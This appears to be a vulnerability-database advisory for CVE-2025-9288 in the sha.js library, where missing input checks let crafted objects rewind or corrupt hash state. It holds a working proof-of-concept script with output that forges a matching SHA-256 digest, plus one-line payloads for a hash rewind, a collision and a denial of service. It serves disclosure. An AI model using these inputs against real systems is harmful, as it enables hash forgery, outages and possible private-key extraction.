Vulnerability Database
296,202
Total vulnerabilities in the database
CVE-2025-9288
Summary
This is the same as GHSA-cpq7-6gpm-g9rc but just for sha.js, as it has its own implementation.
Missing input type checks lead to it calculating invalid values, hanging, rewinding the hash state (including turning a tagged hash into an untagged hash) on malicious JSON-stringifyable input
Details
See PoC
PoC
const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])
const sha = require('sha.js')
const { randomBytes } = require('crypto')
const sha256 = (...messages) => {
const hash = sha('sha256')
messages.forEach((m) => hash.update(m))
return hash.digest('hex')
}
const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever
const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')
const receivedMessage = JSON.parse(payload) // e.g. over network, whatever
console.log(sha256(...validMessage))
console.log(sha256(...receivedMessage))
console.log(receivedMessage[0])
Output:
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
Hashed input means safe
Or just:
> require('sha.js')('sha256').update('foo').digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
> require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
Impact
- Hash state rewind on
{length: -x}. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash. - Value miscalculation, e.g. a collision is generated by
{ length: buf.length, ...buf, 0: buf[0] + 256 }This will result in the same hash as ofbuf, but can be treated by other code differently (e.g. bn.js) - DoS on
{length:'1e99'} - On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration)
